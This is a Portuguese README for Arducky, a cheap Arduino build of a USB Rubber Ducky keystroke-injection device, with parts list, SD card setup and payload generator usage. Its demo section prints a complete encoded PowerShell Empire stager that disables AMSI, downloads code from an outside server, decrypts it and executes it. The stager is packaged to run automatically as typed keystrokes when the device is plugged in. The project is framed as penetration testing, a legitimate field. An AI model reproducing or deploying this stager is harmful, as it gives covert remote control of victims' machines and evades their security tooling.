
Arducky - Interpretador de Script Ducky para Arduino
Este projeto tem como objetivo criar uma alternativa barata (mas não menos eficiente) ao USB Rubber Ducky da Hak5.
O USB Rubber Ducky é um HID (Dispositivo de Interface Humana) programável com uma linguagem de script simples que permite que testadores de penetração criem e implantem rapidamente payloads de auditoria de segurança que imitam a entrada do teclado humano.
Usando o Arducky, você só precisa lidar com Ducky Script armazenado em um cartão MicroSD.
Após a configuração, você não precisará mais reprogramar seu Arduino para alterar scripts.
| Quantidade | Item | Preço | Descrição |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V Board | $4.11 | Compatível com protocolo USB, pode ser usado como mouse ou teclado HID |
| 1 | Micro SD Memory Shield | $0.78 | |
| 1 | Micro USB OTG Adapter | $0.99 | Facultativo. Pode ser usado para substituir cabo micro USB |
| 1 | DuPont Wires | $1.28 | |
| 1 | Micro SD Card | $18.00 | Este é um exemplo, duvido que você precise de mais de 1GB |
Para usar seu cartão Micro SD com o Arducky, o cartão deve ser formatado com o sistema de arquivos FAT32.
Eu recomendo fortemente que você formate seu cartão SD (mesmo que seja novo!), usando o oficial SD Memory Card Formatter da SDA (SD Association) em vez de usar ferramentas de formatação fornecidas pelo seu sistema operacional.
Agora que você formatou seu cartão MicroSD, vamos conectar o escudo MicroSD!
A interface do controlador MicroSD tem um total de seis pinos (GND, VCC, MISO, MOSI, SCK, CS).
Com base na documentação SPI do Arduino, a interface de controle deve ser conectada da seguinte forma (usando fios DuPont):

Nota: Como mencionado na seção Hardwares, o módulo foi projetado para interagir com um µC de 5V, portanto, você precisará do pino de 5V no seu Arduino.


Clone o projeto:
git clone https://gitlab.com/Creased/arducky
cd arducky/
Se você estiver usando um teclado AZERTY, também precisará substituir sua biblioteca de teclado (Keyboard.cpp e Keyboard.h) pela incluída.
Carregue o sketch arducky.ino na sua placa Arduino usando o Arduino IDE.
Para gerar o arquivo arducky_femto.ino com um payload Ducky Script, você pode usar femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Gera payload no arquivo arducky_femto.ino a partir de um arquivo de payload Rubber Ducky de entrada
positional arguments:
payload_file arquivo de payload Rubber Ducky de entrada
optional arguments:
-h, --help mostra esta mensagem de ajuda e sai
-i ino_file, --ino ino_file
arquivo ino Arducky de entrada
-o output_file, --out output_file
arquivo ino Arducky de saída
Exemplo:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire é um framework pós-exploração que implementa a capacidade de executar agentes PowerShell sem precisar do powershell.exe, módulos pós-exploração rapidamente implantáveis que vão desde keyloggers até Mimikatz.
Nesta demonstração, implantaremos um Empire em um servidor remoto (como um VPS) em um nó Docker e usaremos o Arducky para se conectar a ele.
Siga os passos descritos neste guia.
Ao configurar um novo Empire, você deve obter um payload como (veja a pasta demo/):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Salve em um arquivo chamado stager.txt e execute o script create_script.sh para criar o Script Ducky:
./create_script.sh
Copie o script.txt gerado para a raiz do sistema de arquivos do seu cartão MicroSD e ligue o Arducky.
Aqui está um vídeo demonstrando o ataque:
Voilà!
